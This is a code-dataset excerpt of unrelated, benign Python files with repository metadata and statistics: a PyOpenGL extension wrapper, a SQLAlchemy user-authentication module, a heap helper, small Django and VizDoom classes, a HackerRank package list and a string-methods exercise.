OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/GLES2/NV/read_buffer.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/GLES2/NV/read_buffer.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

'''OpenGL extension NV.read_buffer This module customises the behaviour of the OpenGL.raw.GLES2.NV.read_buffer to provide a more Python-friendly API Overview (from the spec) Unextended OpenGL ES 2.0 only supports using ReadPixels to read from the default color buffer of the currently-bound framebuffer. However, it is useful for debugging to be able to read from non-default color buffers. Particularly, when the NV_draw_buffers extension is supported, each framebuffer may contain multiple color buffers. This extension provides a mechanism to select which color buffer to read from. This document describes two extensions to allow an implementation to support a subset of the total functionality. The NV_read_buffer extension adds the command ReadBufferNV, which is used to select which color buffer of the currently-bound framebuffer to use as the source for subsequent calls to ReadPixels, CopyTexImage2D, and CopyTexSubImage2D. If the system-provided framebuffer is bound, then ReadBufferNV accepts value BACK. If a user-created FBO is bound, then ReadBufferNV accepts COLOR_ATTACHMENT0. Additionally, if the NV_draw_buffers extension is supported, ReadBufferNV accepts COLOR_ATTACHMENTn_NV (n is 0 to 15). The NV_read_buffer_front extension requires NV_read_buffer and adds the ability to select the system-provided FRONT color buffer as the source for read operations when the system-provided framebuffer is bound and contains both a front and back buffer. The official definition of this extension is available here: http://www.opengl.org/registry/specs/NV/read_buffer.txt ''' from OpenGL import platform, constant, arrays from OpenGL import extensions, wrapper import ctypes from OpenGL.raw.GLES2 import _types, _glgets from OpenGL.raw.GLES2.NV.read_buffer import * from OpenGL.raw.GLES2.NV.read_buffer import _EXTENSION_NAME def glInitReadBufferNV(): '''Return boolean indicating whether this extension is available''' from OpenGL import extensions return extensions.hasGLExtension( _EXTENSION_NAME ) ### END AUTOGENERATED SECTION

42.8

73

0.792056

312

2,140

5.352564

0.419872

0.028743

0.057485

0.028743

0.246707

0.192814

0.135329

0.043114

0

0.006742

0.168224

2,140

50

74

42.8

0.931461

0.877103

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0.111111

true

0

0.777778

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1

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null

0

1

0

null

0

1

0

1

0

1

0

4

70556f2a05bab964e7077cc4d8c68566b9119af7

987

py

Python

server-admin/control/usermanagement.py

yafraorg/yapki

66ab6f2db2efa7e0c5dbb85fa7c05e6446518129

[ "Apache-2.0" ]

3

2015-06-24T10:59:28.000Z

2017-09-10T16:49:09.000Z

server-admin/control/usermanagement.py

yafraorg/yapki

66ab6f2db2efa7e0c5dbb85fa7c05e6446518129

[ "Apache-2.0" ]

2

2020-04-20T21:06:33.000Z

2020-05-06T10:15:31.000Z

server-admin/control/usermanagement.py

yafraorg/yapki

66ab6f2db2efa7e0c5dbb85fa7c05e6446518129

[ "Apache-2.0" ]

1

2016-12-02T10:12:42.000Z

from sqlalchemy.orm import Session from utils import security from model import user from model.db import DbUser def get_user(db: Session, user_id: int): return db.query(DbUser).filter(DbUser.id == user_id).first() def get_user_by_email(db: Session, email: str): return db.query(DbUser).filter(DbUser.email == email).first() def get_users(db: Session, skip: int = 0, limit: int = 100): return db.query(DbUser).offset(skip).limit(limit).all() def create_user(db: Session, user: user.UserCreate): hashed_password = security.get_password_hash(user.password) db_user = DbUser(email=user.email, hashed_password=hashed_password) db.add(db_user) db.commit() db.refresh(db_user) return db_user def authenticate_user(db: Session, email: str, password: str): user = get_user_by_email(db=db, email=email) if not user: return None if not security.verify_password(password, user.hashed_password): return None return user

27.416667

71

0.720365

149

987

4.61745

0.281879

0.065407

0.056686

0.082849

0.136628

0.090116

0

0.004878

0.1692

987

35

72

28.2

0.834146

0

0.083333

0

1

0.208333

false

0.166667

0.125

0.666667

0

null

0

null

0

1

0

1

0

1

0

4

7058460b98a7265119a48d5694b46400ecbc4855

519

py

Python

skyhook/skyhook/utils/heap.py

wfgydbu/skyhook

8577d903bef90110646860fa6c59543c6a60d053

[ "BSD-2-Clause" ]

2

2020-04-20T15:36:08.000Z

2020-07-15T00:50:04.000Z

skyhook/skyhook/utils/heap.py

wfgydbu/skyhook

8577d903bef90110646860fa6c59543c6a60d053

[ "BSD-2-Clause" ]

1

2021-03-31T19:44:32.000Z

skyhook/skyhook/utils/heap.py

wfgydbu/skyhook

8577d903bef90110646860fa6c59543c6a60d053

[ "BSD-2-Clause" ]

2

2020-04-28T01:37:20.000Z

2020-07-02T04:47:37.000Z

import heapq class HeapManager(object): def __init__(self): super(HeapManager, self).__init__() self.data = [] def sync(self, items): if self.data: self.data[:] = [] self.data = [(item[0], item) for item in items] heapq.heapify(self.data) def pop(self): return heapq.heappop(self.data)[1] if self.data else None def push(self, item): heapq.heappush(self.data, (item[0], item)) def length(self): return len(self.data)

22.565217

65

0.576108

68

519

4.279412

0.411765

0.247423

0.075601

0.109966

0.116838

0

0.008086

0.285164

519

22

66

23.590909

0.77628

0

1

0.3125

false

0

0.0625

0.125

0.5625

0

null

1

0

null

0

1

0

1

0

4

7062857693723d59531fd8a709551db00b6e328b

92

py

Python

web_MNIST/apps.py

lorenzophys/django-web-MNIST

5219fa9c1858cabd910dce5fdcce7bf8988ff8a2

[ "MIT" ]

null

web_MNIST/apps.py

lorenzophys/django-web-MNIST

5219fa9c1858cabd910dce5fdcce7bf8988ff8a2

[ "MIT" ]

null

web_MNIST/apps.py

lorenzophys/django-web-MNIST

5219fa9c1858cabd910dce5fdcce7bf8988ff8a2

[ "MIT" ]

null

from django.apps import AppConfig class WebMnistConfig(AppConfig): name = 'web_MNIST'

15.333333

33

0.76087

11

92

6.272727

0.909091

0

0.163043

92

5

34

18.4

0.896104

0

0.097826

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

5611e15c8c5f47304a4406a7c32dbdd64f5cecd0

164

py

Python

vizdoomgymmaze/envs/vizdoommazetwo9.py

WangChen100/vizdoomgymmaze

51f750405a762e3f19193c09ef34380786c11efe

[ "MIT" ]

6

2019-08-22T09:19:24.000Z

2020-11-21T03:29:39.000Z

vizdoomgymmaze/envs/vizdoommazetwo9.py

BillOmg/vizdoomgymmaze

51f750405a762e3f19193c09ef34380786c11efe

[ "MIT" ]

2

2019-08-10T06:50:02.000Z

2021-11-30T13:57:41.000Z

vizdoomgymmaze/envs/vizdoommazetwo9.py

BillOmg/vizdoomgymmaze

51f750405a762e3f19193c09ef34380786c11efe

[ "MIT" ]

6

2019-08-23T13:17:05.000Z

2021-06-18T20:24:53.000Z

from vizdoomgymmaze.envs.vizdoomenv import VizdoomEnv class VizdoomMazeTwo9(VizdoomEnv): def __init__(self): super(VizdoomMazeTwo9, self).__init__(42)

27.333333

53

0.77439

17

164

7

0.705882

0

0.028369

0.140244

164

6

54

27.333333

0.815603

0

1

0.25

false

0

0.25

0

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

4

563c0bdd241be7bbf957e3f394fe4ad6b0ecd0e9

185

py

Python

problem_solving/algorithms/strings/__init__.py

mxdzi/hackerrank

4455f73e4479a4204b2e1167253f6a02351aa5b7

[ "MIT" ]

null

problem_solving/algorithms/strings/__init__.py

mxdzi/hackerrank

4455f73e4479a4204b2e1167253f6a02351aa5b7

[ "MIT" ]

null

problem_solving/algorithms/strings/__init__.py

mxdzi/hackerrank

4455f73e4479a4204b2e1167253f6a02351aa5b7

[ "MIT" ]

null

__all__ = [ 'q2_camelcase', 'q3_strong_password', 'q6_mars_exploration', 'q7_hackerrank_in_a_string', 'q11_funny_string', 'q18_anagram', 'q21_two_strings' ]

18.5

32

0.664865

22

185

4.772727

0.954545

0

0.068493

0.210811

185

9

33

20.555556

0.650685

0

0.627027

0.135135

0

1

0

false

0.111111

0

1

0

null

0

1

0

1

0

null

0

1

0

4

563e238eb35f9b9defe5395aaae33b88143c4156

203

py

Python

day4/stringoperation.py

nikhilsamninan/python-files

15198459081097058a939b40b5e8ef754e578fe0

[ "Apache-2.0" ]

null

day4/stringoperation.py

nikhilsamninan/python-files

15198459081097058a939b40b5e8ef754e578fe0

[ "Apache-2.0" ]

null

day4/stringoperation.py

nikhilsamninan/python-files

15198459081097058a939b40b5e8ef754e578fe0

[ "Apache-2.0" ]

null

basic=" Hello World " #print(basic.upper()) #print(basic.lower()) #print(basic.split()) #print(basic.split('l')) print(basic.isalpha()) print(basic.strip()) print(basic.find('h')) print(basic.index('h'))

22.555556

24

0.684729

30

203

4.633333

0.433333

0.57554

0.215827

0

0.054187

203

9

25

22.555556

0.723958

0.408867

0

0.128205

0

1

0

false

0

0.8

0

null

1

0

1

0

null

0

1

0

4

565fe86d3ef54d1caec998617ae49d49545c0330

246

py

Python

tinycord/exceptions.py

tinycord/tinycord

9e817452c1f2357878f07f8622f6240687470cad

[ "MIT" ]

8

2022-01-08T20:04:29.000Z

2022-03-21T19:12:19.000Z

tinycord/exceptions.py

tinycord/tinycord

9e817452c1f2357878f07f8622f6240687470cad

[ "MIT" ]

null

tinycord/exceptions.py

tinycord/tinycord

9e817452c1f2357878f07f8622f6240687470cad

[ "MIT" ]

1

2022-01-02T21:42:53.000Z

class GatewayError(Exception): """ Base class for all gateway errors. """ def __init__(self, message: str) -> None: self.message: str = message """The message of the error.""" super().__init__(message)

27.333333

45

0.585366

27

246

5.037037

0.666667

0.161765

0.205882

0

0.284553

246

9

46

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0.138211

0

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false

0

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1

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null

0

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